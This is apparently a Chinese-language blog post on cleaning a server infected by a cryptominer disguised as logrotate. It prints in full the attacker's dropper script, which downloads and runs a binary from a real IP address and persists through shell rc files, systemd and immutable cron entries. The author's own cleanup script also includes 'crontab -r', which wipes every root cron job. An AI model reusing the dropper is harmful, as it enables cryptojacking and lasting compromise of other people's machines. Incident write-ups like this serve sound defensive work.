原因是腾讯发送了告警短信

文件路径为 /root/.config/logrotate 造成的影响为cpu直接100%
发现问题
我发现我的服务器CPU使用率异常高,通过top
命令查看发现logrotate
进程占用了大量资源。这引起了我的警觉,因为logrotate
通常是一个负责日志轮转的工具,不应该有如此高的资源占用。
初步处理
- 杀死异常进程:我首先使用
kill -9 <pid>
命令杀死了logrotate
进程,并发现它与/root/.config/logrotate
文件有关。为了安全起见,我删除了这个文件。 - 检查定时任务:随后,我注意到CPU使用率虽然有所下降,但很快又飙升到100%。经过调查,我发现系统的
crontab
文件以及/etc/cron.daily
、/etc/cron.hourly
、/etc/cron.monthly
、/etc/cron.weekly
目录下都被植入了恶意脚本。这些脚本尝试从http://185.196.8.123/logservice.sh
下载并执行。
深入处理
- 删除恶意脚本:我首先尝试删除这些恶意脚本,但发现它们被加上了不可修改的属性(
i
属性)。通过使用chattr -i <文件名>
&& rm --f<文件名>
命令,我成功去除了这些属性,并删除了这些文件。但很快我发现,这些文件又被重新创建了。 - 分析恶意脚本:为了了解这些脚本的作用,我通过
wget
或curl
命令下载了http://185.196.8.123/logservice.sh
这个脚本,并查看了它的内容。这个脚本很可能是用于恶意活动的,比如挖矿、数据窃取等。
该脚本的内容
#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && {
ARCH=$(uname -m)
URL=""
[ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png"
[ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png"
[ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png"
{ wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
if [ -r "$1" ]; then
if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
echo "$EXEC >/dev/null 2>&1" >> "$1"
fi
fi
}
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
sudo systemctl daemon-reload 2>/dev/null
sudo systemctl enable logrotate.service 2>/dev/null
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}
这个脚本是一个混合了多种恶意行为的复杂脚本,旨在执行一系列不受欢迎的操作,包括但不限于下载和执行未知脚本、添加自启动项,以及可能的数据收集或资源耗尽攻击。下面我将以博主的身份,详细解释这个脚本的功能和潜在风险。
脚本功能解析
- 杀死名为
xmrig
的进程:
脚本首先尝试使用pkill
或kill
命令来结束所有与xmrig
相关的进程。xmrig
是一个流行的Monero(XMR)加密货币挖矿工具,这意味着脚本可能试图停止现有的挖矿活动,或者仅仅是清理现场。 - 杀死高CPU占用的进程:
接着,脚本使用ps
和awk
命令查找CPU占用率超过60%且进程名不是logrotate
、sshd
、java
的进程,并杀死它们。这可能是一个资源耗尽攻击的一部分,旨在清除竞争对手或确保系统资源为即将执行的恶意活动腾出空间。 - 下载并执行未知脚本:
脚本尝试从http://185.196.8.123/logservice.sh
下载并执行一个名为logservice.sh
的脚本。这是一个明显的安全风险,因为远程脚本的内容是未知的,可能是恶意的。 - 设置自删除机制:
使用trap
命令,脚本在退出时删除自身。这是一种常见的隐藏和自我保护机制,用于避免脚本被分析或手动删除。 - 设置环境变量和目录:
脚本设置HOME
环境变量(如果未设置),并在$HOME/.config
目录下创建logrotate
文件(如果尚不存在)。这再次是准备执行恶意活动的步骤。 - 下载并执行
logrotate
文件:
脚本根据系统架构(x86_64
或aarch64
)从指定的URL下载图片文件,但将其保存为可执行文件logrotate
。这显然是误导性的,因为文件名和实际内容不匹配。然后,它尝试执行这个“logrotate”文件。 - 添加到启动项:
脚本检查正在使用的shell(bash或zsh),并将下载和执行logservice.sh
的命令添加到用户的shell配置文件中(如.bashrc
、.bash_logout
、.zshrc
)。这意味着每次用户登录时,恶意脚本都会被执行。 - 添加systemd服务:
如果脚本以root用户身份运行,它还会尝试在/etc/systemd/system/
目录下创建一个名为logrotate.service
的systemd服务文件,并设置该服务在启动时自动运行。这确保了即使系统重启,恶意活动也会继续。
第四步,知道原理后,就简单了,原来我距离成功就差最后一步。首先删除启动项的脚本文件里面的命令,也就是@daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)。就三个位置, "$HOME/.bashrc","$HOME/.bash_logout" , "$HOME/.zshrc" ;删除对应的内容,再删除服务就可以了,重复之前的步骤就行了。
总结:
当系统遭遇攻击,资源异常占用成为首要警示信号时,我们需迅速而精准地定位问题源头。一旦发现某个进程异常消耗资源,首要任务是确定是哪个文件或脚本导致了这一行为。通常,这类进程即便被终止也会迅速重启,这往往意味着存在守护进程或定时任务在暗中操作。
若定时任务中的轮询脚本被删除后问题依旧存在,那么很可能系统启动项中也藏有恶意内容。此时,我们应当对系统启动项进行细致排查,包括但不限于用户级别的bash配置文件(如.bashrc
、.bash_logout
、.zshrc
等)、系统级别的cron jobs(/etc/crontab
、/etc/cron.d/
等),以及系统服务(使用systemctl
或service
命令管理)。
在清理过程中,务必保持谨慎,确保不会误删系统关键文件或配置。同时,建议利用防病毒/反恶意软件工具对系统进行全面扫描,确保不留任何安全隐患。
最后我将执行的命令脚本贴在下方
#!/bin/bash
# 解除文件的不可修改属性并删除文件
remove_and_chattr() {
file=$1
chattr -i "$file" && rm -f "$file"
# 检查删除是否成功
if [ $? -eq 0 ]; then
echo "$file 已成功删除."
else
echo "$file 删除失败."
fi
}
# 删除指定目录中的 logrotate 文件并解除不可修改属性
remove_and_chattr_file() {
directory=$1
# 检查目录是否存在
if [ -d "$directory" ]; then
for file in $(ls "$directory" | grep '^logrotate$'); do
remove_and_chattr "$directory/$file"
done
else
echo "目录 $directory 不存在."
fi
}
# 处理 /etc/cron.daily 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.daily"
# 处理 /etc/cron.weekly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.weekly"
# 处理 /etc/cron.monthly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.monthly"
# 处理 /etc/cron.yearly 目录中的 logrotate 文件
remove_and_chattr_file "/etc/cron.hourly"
# 删除 /root/.config 目录下的 logrotate 文件
remove_and_chattr "/root/.config/logrotate"
pkill -f logrotate
# 停止 logrotate 服务并删除相关文件
systemctl stop logrotate.service >/dev/null 2>&1
remove_and_chattr "/etc/systemd/system/logrotate.service"
pkill -f logrotate
# 清除所有写入的定时任务
crontab -r
echo "已停止 logrotate 服务并删除相关文件."
最后的总结,解决步骤为,1.删除启动项内的对应命令 2.调用我贴出来的脚本 即可修复本次入侵。
至于为什么会导致被入侵,博主是因为在当天使用了idea的远程调试,没有关闭,导致被入侵了。
具体内容参考一下:https://forum.butian.net/share/1232
Comments | NOTHING